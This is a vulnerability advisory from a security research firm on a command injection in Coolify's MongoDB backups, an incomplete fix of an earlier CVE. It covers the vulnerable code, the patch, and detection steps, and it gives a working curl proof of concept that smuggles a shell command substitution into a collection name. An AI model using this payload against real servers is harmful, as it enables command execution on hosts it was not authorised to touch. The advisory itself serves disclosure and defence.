CVE-2026-34049

CVSS 3.3 · Low Patched
Type
Vulnerability research
Published
Reading time
6 min read
Author
rootzero
Lire en français
Lire en français →

CVE-2026-34049: command injection in Coolify MongoDB backups, an incomplete fix of CVE-2025-66209

The CVE-2025-66209 fix escaped database names in Coolify backups but not MongoDB collection names, which still reached a root shell on the server.

For your decision

Impact
A MongoDB collection name can become a command executed on the server managed by Coolify.
Conditions
The attacker must be able to configure a backup. The first fix protected database names but left collections exposed.
Recommended action
Install Coolify 4.0.0-beta.471 or later and review backup configuration permissions.

Advisory facts

Product
Coolify
Package
composer · coollabsio/coolify
Affected versions
≥ 4.0.0-beta.451, ≤ 4.0.0-beta.470
Fixed in
4.0.0-beta.471
CVSS
3.3 Low
Weakness
CWE-78
Access needed
Account required
Advisory published
Credit
rootzero

Investigation summary

Coolify’s fix for CVE-2025-66209 validated and escaped the database names of a backup configuration, but the MongoDB collection names written in the same field still went into the mongodump command unescaped. A team member able to configure backups, which the default policy allows for everyone, could run commands as root on the managed server. The vendor scores it 3.3; the technical impact is close to the original 9.9 flaw. Fixed in 4.0.0-beta.471.

The collection name the fix missed

We returned to the CVE-2025-66209 fix, which validated the database name in Coolify backup settings. The MongoDB field also contains collection names. We checked each piece after parsing: the database name was protected, while collection names still reached a shell command. The API required only a string, so it did not stop this route. Livewire split the field differently from the MongoDB job, but its whole-string validator might reject this payload; we do not claim a working UI route without a UI replay.

Our submitted report names beta.469 and gives an immediate-backup PoC using a collection-name command substitution. It does not preserve the server-side command output or a canary readback. The code shows the substitution reaches the shell on the managed server; its actual privileges depend on the SSH account Coolify uses. We therefore do not claim an observed root shell from that report. We reported the case on 23 March 2026. Coolify added collection validation and escaping on the 25th, released beta.471 on 9 April and published CVE-2026-34049 in July. This was an incomplete fix for a structured field, not an unrelated new entry point.

A structured backup field, one partial fix

Coolify runs database backups on servers it manages over SSH. For MongoDB, databases_to_backup carries both database and collection names, so validating just the first component leaves a separate path to the backup job.

Database backups are one of its features. For each database, a user defines a schedule and a databases_to_backup field that says what to dump. For PostgreSQL or MySQL the field is a comma-separated list of databases. For MongoDB it accepts a richer format, dbname:collection1,collection2|dbname2:collection3, where the names after the colon are collections to exclude from the dump. At each run, the DatabaseBackupJob builds a docker exec ... mongodump ... command from this field and runs it on the managed server.

This exact field was already the subject of CVE-2025-66209, an authenticated command injection that Coolify scored 9.9 and fixed in 4.0.0-beta.451 by validating and escaping database names.

Checking every component after the earlier patch

In DatabaseBackupJob.php, the beta.451 patch validates and escapes the MongoDB database name. The collection names parsed from the same field still enter the mongodump command without escaping. We checked both input paths: create_backup and update_backup in DatabasesController.php accept databases_to_backup as a string. The Livewire editor parses that string differently from the job and may reject this payload, so the API is the supported route in our report; the UI route needs its own replay.

The submitted report identifies 4.0.0-beta.469 (commit 06f60c9) as its test version; it does not include a captured server-side result.

Root cause

The MongoDB branch of the backup job, after the CVE-2025-66209 fix:

// app/Jobs/DatabaseBackupJob.php (4.0.0-beta.469)
if (str($databaseWithCollections)->contains(':')) {
    $databaseName = str($databaseWithCollections)->before(':');
    $collectionsToExclude = str($databaseWithCollections)->after(':')->explode(',');
} else {
    $databaseName = $databaseWithCollections;
    $collectionsToExclude = collect();
}
$commands[] = 'mkdir -p '.$this->backup_dir;

// Validate and escape database name to prevent command injection
validateShellSafePath($databaseName, 'database name');
$escapedDatabaseName = escapeshellarg($databaseName);

if ($collectionsToExclude->count() === 0) {
    // ... safe path ...
} else {
    if (str($this->database->image)->startsWith('mongo:4')) {
        $commands[] = "docker exec $this->container_name mongodump --uri=$url --gzip --excludeCollection "
            .$collectionsToExclude->implode(' --excludeCollection ')
            ." --archive > $this->backup_location";
    } else {
        $commands[] = "docker exec $this->container_name mongodump --authenticationDatabase=admin --uri=\"$url\" --db $escapedDatabaseName --gzip --excludeCollection "
            .$collectionsToExclude->implode(' --excludeCollection ')
            ." --archive > $this->backup_location";
    }
}

The contrast is visible within a few lines: $databaseName goes through validateShellSafePath() and escapeshellarg(), $collectionsToExclude is joined into the command as is, on both branches. The commands are then passed to instant_remote_process(), which sends them to the managed server over SSH, where bash interprets them. The flaw is an OS command injection (CWE-78), and more precisely an incomplete fix: the patch closed the path that the first report demonstrated and left its sibling in the same field open.

Exploitation

The attacker needs an API token with the write ability and a MongoDB database in their team. One request, adapted from the advisory’s proof of concept, creates a backup configuration whose collection list carries a command substitution, and backup_now makes the job run immediately:

curl -s -X POST "$COOLIFY_URL/api/v1/databases/$DB_UUID/backups" \
  -H "Authorization: Bearer $API_TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "frequency": "every_minute",
    "enabled": true,
    "databases_to_backup": "admin:$(id > /tmp/coolify-rce-proof)",
    "backup_now": true
  }'

The job parses admin as the database name, which passes validation, and $(id > /tmp/coolify-rce-proof) as a collection to exclude. The managed server receives:

docker exec <container> mongodump ... --excludeCollection $(id > /tmp/coolify-rce-proof) --archive > ...

Bash performs the command substitution before running docker exec, so the payload executes on the host, as the SSH user Coolify uses, which may be root on installations that manage the host through a root SSH account. With a frequency of every_minute, it runs again at every scheduled backup.

Impact

The advisory scores the flaw 3.3 (CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:L/I:L/A:N). The backup job sends the constructed command over SSH to a managed server, where Coolify commonly operates as root. If the injected backup command runs there, it has that account’s access to the host and its Docker environment. Our retained report has no server-side marker, so this is the impact of the traced command path rather than a locally observed root session.

On privileges, the code supports a lower bar than PR:H. In 4.0.0-beta.470, DatabasePolicy::manageBackups() returns true for every user, with the administrator check commented out, and the API routes only require a token with the write ability. Any team member who can create such a token can reach the sink.

The advisory does not explain why it chose that vector. We cannot derive an alternative score from a code review alone. The practical question for an operator is whether a member allowed to edit backup settings is also meant to run shell commands under Coolify’s server account.

The fix

Coolify 4.0.0-beta.471, released on 2026-04-09, contains commit 9904360 (#9168, merged on 2026-03-25). It fixes the sink and the input layers together. In the job, every collection name is now validated and escaped individually:

// app/Jobs/DatabaseBackupJob.php (4.0.0-beta.471)
$escapedCollections = $collectionsToExclude->map(function ($collection) {
    $collection = trim($collection);
    validateShellSafePath($collection, 'collection name');

    return escapeshellarg($collection);
});

A new helper, validateDatabasesBackupInput(), parses all formats of the field (splitting on |, then :, then ,) and validates each database and collection name. It is called from both API endpoints, which now answer with a 422 error, and replaces the comma-only loop in BackupEdit.php.

validateShellSafePath() is a denylist (backticks, $(, ${, |, &, ;, line breaks, tabs, <, >), so the effective protection is escapeshellarg() at the sink, which quotes the value whatever it contains. The release also includes commit 952f324, which applies escapeshellarg() to the credentials interpolated into the backup commands of PostgreSQL, MySQL, MariaDB and MongoDB. Together they close the variants of this field and of its neighbours, which is the review that the first fix lacked.

Detection and mitigation

  1. Upgrade Coolify to 4.0.0-beta.471 or later.

  2. Search the Coolify PostgreSQL database for backup configurations whose field contains shell syntax, and treat matches as leads to investigate, not proof of exploitation:

    SELECT id, databases_to_backup
    FROM scheduled_database_backups
    WHERE databases_to_backup ~ '[$;|&<>()]' OR strpos(databases_to_backup, chr(96)) > 0;
  3. Review the API tokens with the write ability and the team members who hold them, and revoke the ones that are not needed.

  4. On managed servers, look in the shell history, auditd or EDR telemetry for processes started by the SSH session of the Coolify user around backup runs that are neither docker exec nor mongodump.

  5. Inspect the backup execution logs in Coolify for MongoDB runs that ended with unexpected output or errors after a configuration change.

Timeline

Date Event
2025-11-27 Coolify 4.0.0-beta.451 released with the fix for CVE-2025-66209
2026-01-03 Advisory GHSA-vm5p-43qh-7pmq (CVE-2025-66209) published
2026-03-23 Private report of the bypass, naming 4.0.0-beta.469 as its test version; no command-output trace retained
2026-03-24 Coolify 4.0.0-beta.470 released, still vulnerable
2026-03-25 Collection name validation and escaping merged (9904360, #9168)
2026-04-09 Coolify 4.0.0-beta.471 released
2026-07-02 Advisory GHSA-4mpw-wcj4-v9pp published with CVE-2026-34049

References

  1. Vendor advisory · CVE-2026-34049 github.com/coollabsio/coolify/security/advisories/GHSA-4mpw-wcj4-v9pp
  2. NVD entry · CVE-2026-34049 nvd.nist.gov/vuln/detail/CVE-2026-34049
  3. CVE.org record · CVE-2026-34049 www.cve.org/CVERecord?id=CVE-2026-34049
  4. MITRE CWE-78 cwe.mitre.org/data/definitions/78.html
  5. Project repository github.com/coollabsio/coolify

Cite this advisory

rootzero. “CVE-2026-34049: command injection in Coolify MongoDB backups, an incomplete fix of CVE-2025-66209”. Vulnerability research, rootzero, 2 July 2026. https://rootzero.eu/en/research/cve/cve-2026-34049-coolify-backup-command-injection/

#Vulnerability research

Have your code audited before someone else does.

Your team needs to decide what to fix before a release or assess a critical dependency. We scope an engagement around that decision, with evidence and explained remediation priorities.